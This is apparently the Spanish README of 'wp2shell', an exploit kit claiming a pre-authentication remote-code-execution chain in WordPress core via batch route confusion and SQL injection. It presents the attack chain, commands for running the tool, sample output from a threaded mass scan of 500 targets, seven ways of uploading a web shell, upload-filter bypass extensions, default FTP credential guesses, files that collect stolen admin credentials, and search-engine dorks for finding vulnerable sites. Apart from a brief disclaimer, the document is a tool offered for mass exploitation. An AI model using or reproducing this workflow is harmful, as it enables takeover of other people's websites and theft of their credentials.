
WordPress Core RCE sin autenticación previa — Confusión de rutas por lotes + Inyección SQL
CVE-2026-63030 (Confusión de ruta en lote) + CVE-2026-60137 (Inyección SQL)
Kit de explotación sin dependencias para la cadena de vulnerabilidades wp2shell en el núcleo de WordPress. Una única solicitud HTTP anónima logra la ejecución remota de código en una instalación predeterminada de WordPress sin necesidad de plugins.
| Rango | Impacto | Corregido en |
|---|---|---|
| 7.0.0 – 7.0.1 | RCE total | 7.0.2 |
| 6.9.0 – 6.9.4 |
No se requieren plugins ni configuración especial. Una instalación de WordPress por defecto ya es explotable.
┌─────────────────────────────────────┐
│ ANONYMOUS HTTP REQUEST │
│ POST /?rest_route=/batch/v1 │
└────────────────┬────────────────────┘
│
┌────────────────▼────────────────────┐
│ CVE-2026-63030: Batch Desync │
│ Malformed path → WP_Error → │
│ Array misalignment → Auth Bypass │
└────────────────┬────────────────────┘
│
┌────────────────▼────────────────────┐
│ CVE-2026-60137: SQL Injection │
│ author__not_in → unsanitized → │
│ UNION SELECT extraction │
└────────────────┬────────────────────┘
│
┌───────────┼───────────┐
│ │ │
┌────▼────┐ ┌───▼────┐ ┌───▼──────────┐
│ oEmbed │ │ Blind │ │ Changeset │
│ Seeding │ │ SQLi │ │ Re-entrancy │
│ Write │ │ Read │ │ Escalation │
│ Cache │ │ IDs │ │ → Admin User │
└────┬────┘ └───┬────┘ └───┬──────────┘
│ │ │
└───────────┼───────────┘
│
┌────────────────▼────────────────────┐
│ ADMIN CREATED (pre-auth!) │
│ → Login → Upload Shell (7 methods) │
└─────────────────────────────────────┘
pip install requests
python exploit.py
╔══════════════════════════════════════════════════════════════╗
║ WP2SHELL — WordPress Core Pre-Auth RCE Exploit ║
║ CVE-2026-63030 (Batch Route Confusion) + CVE-2026-60137 ║
║ Affected: WP 6.9.0 – 7.0.1 | Fixed: 6.9.5 / 7.0.2 ║
╚══════════════════════════════════════════════════════════════╝
[?] Target [url/list.txt] > list.txt
[?] Threads [15] > 15
python exploit.py
[?] Target [url/list.txt] > https://vulnerable-site.com
┌────────────────────────────────────────────────────────┐
│ SCAN CONFIGURATION │
├────────────────────────────────────────────────────────┤
│ Targets : 1 Threads : 1 Dir : wp_core_rce│
└────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────┐
│ EXPLOIT SUCCESS │
├────────────────────────────────────────────────────────┤
│ Method : direct-plugin │
│ Shell : https://target.com/wp-content/plugins/... │
│ Login : https://target.com/wp-login.php │
│ User : wp2s_abc123def │
│ Pass : WP2S!xxxxxxxxxxxxxxxx │
└────────────────────────────────────────────────────────┘
python exploit.py
┌────────────────────────────────────────────────────────┐
│ SCAN CONFIGURATION │
├────────────────────────────────────────────────────────┤
│ Targets : 500 Threads : 15 Dir : wp_core_rce │
└────────────────────────────────────────────────────────┘
┌────────────┬────────────────────────────────────────┬──────────────┐
│ │ │ │
│ #/TOTAL │ HOST │ STATUS │
├────────────┼────────────────────────────────────────┼──────────────┤
│ 1/500 │ vulnerable-site.com │ SHELL │
│ │ ↳ direct-plugin → https://vulnerabl... │
│ 2/500 │ target2.com │ ADM │
│ 3/500 │ safe-site.org │ SQLi │
│ 4/500 │ nope.com │ NO │
│ 5/500 │ jackpot.net │ SHELL │
│ │ ↳ theme-editor → https://jackpot.ne... │
└────────────┴────────────────────────────────────────┴──────────────┘
┌────────────────────────────────────────────────────────┐
│ SHELL 2 ADMIN 3 SQLi 15 TOTAL 50/500│
└────────────────────────────────────────────────────────┘
├────────────────────────────────────────────────────────┤
│ result.txt │ admin credentials │
│ result_upload.txt │ shell upload URLs │
│ log/scanned.txt │ scanned hosts │
└────────────────────────────────────────────────────────┘
requests únicamente para el expander)log/scanned.txt omite los objetivos ya escaneadosLos 7 métodos se ejecutan en paralelo mediante ThreadPoolExecutor. El primer método que tenga éxito gana y los demás se cancelan.
Extensiones de subida de medios: .phtml .php5 .php7 .php8 .pht .phar .shtml .php4 .phps .phtm .Php5 .PhP5 .pHtml .phP .PHP
Credenciales FTP probadas: localhost / 127.0.0.1 con root / www-data / credenciales de administrador de WordPress
| Archivo | Contenido |
|---|---|
result.txt | Credenciales de administrador: url.com/wp-login.php:user:pass |
result_upload.txt | URLs de shell: shell_url | login_url:user:pass | method |
http.title:"WordPress"
http.component:"WordPress"
app="WordPress"
body="wp-json"
body="/batch/v1"
app:"WordPress"
"/wp-json/batch/v1"
services.http.response.body:"/wp-json/batch/v1"
Esta herramienta se proporciona únicamente para investigación de seguridad autorizada y pruebas de penetración. Úsala solo en sistemas que poseas o para los que tengas permiso explícito por escrito. Los autores no aceptan ninguna responsabilidad por el mal uso.
Licencia MIT. Consulta LICENSE para más detalles.
| RCE total |
| 6.9.5 |
| 6.8.0 – 6.8.5 | Solo SQLi | 6.8.6 |
| # | Método | Descripción |
|---|
| 1 | direct-plugin | Subir zip mediante /wp-admin/plugin-install.php |
| 2 | direct-theme | Subir zip mediante /wp-admin/theme-install.php |
| 3 | rest-api | Enviar zip por POST a /wp-json/wp/v2/plugins con cookie de autenticación |
| 4 | plugin-editor | Escribir PHP directamente mediante /wp-admin/plugin-editor.php |
| 5 | theme-editor | Escribir PHP en el directorio del tema activo |
| 6 | ftp-bypass | Enviar credenciales FTP cuando WordPress las solicite |
| 7 | media-upload | Subir PHP mediante la biblioteca de medios con 15 variantes de extensión |
log/scanned.txt | Todos los hosts escaneados (se omiten automáticamente al re-ejecutar) |